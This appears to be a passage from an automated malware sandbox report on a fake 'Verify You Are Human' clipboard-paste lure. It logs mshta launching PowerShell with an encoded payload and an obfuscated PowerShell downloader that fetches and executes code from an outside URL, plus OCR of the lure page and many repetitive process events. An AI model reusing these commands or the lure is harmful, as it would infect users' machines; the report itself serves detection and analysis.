Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('Nect',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('In-Exion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value\|Get-Member)\|Where-Object{(Get-Variable _).Value.Name-ilike'nl*a'}).Name).Invoke((GCI Variable:\s).Value)\|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: x e about:blank X Verify You Are Human sas-at-vie-1.exo.ia/ilbuck/sato/process/cantinue-after-check-vr2html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Verification Steps 1. Press Windows x Run Button 2. Press CTRL + V Type the name of a program, folder, document or Internet resource, and Windows will open It for you. 3. Press Enter Open: 07:22 ENG p Type here to search SG 17/12/2024
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human sas-at-vie-1.exo.ia/ilbuck/sato/process/cantinue-after-check-vr2html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Undo Cut Copy Verification Paste Delete Steps Select All 1. Press Windows Right to Reading order Run Button Show Unicode control characters Insert Unicode control character 2. Press CTRL + V Type the name of a resource, and Wind open IME 3. Press Enter Reconversion Open: 07:22 ENG p Type here to search SG 17/12/2024
Source: Chrome DOM: 1.1	OCR Text: Verify You Are Human Please verify that you are a human to continue. I'm nat a robat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human C sas-at-vie-1.exo.ia/ilbuck/sato/process/cantinue-after-check-vr2html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter 07:22 ENG p Type here to search SG 17/12/2024
Source: screenshot	OCR Text: x e about:blank X Verify You Are Human C sas-at-vie-1.exo.ia/ilbuck/sato/process/cantinue-after-check-vr2html Verify You Are Human Please verify that you are a human to continue. I'm not a rabat Verification Steps 1. Press Windows Button 2. Press CTRL + V 3. Press Enter Start 07:22 ENG p Type here to search SG 17/12/2024

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
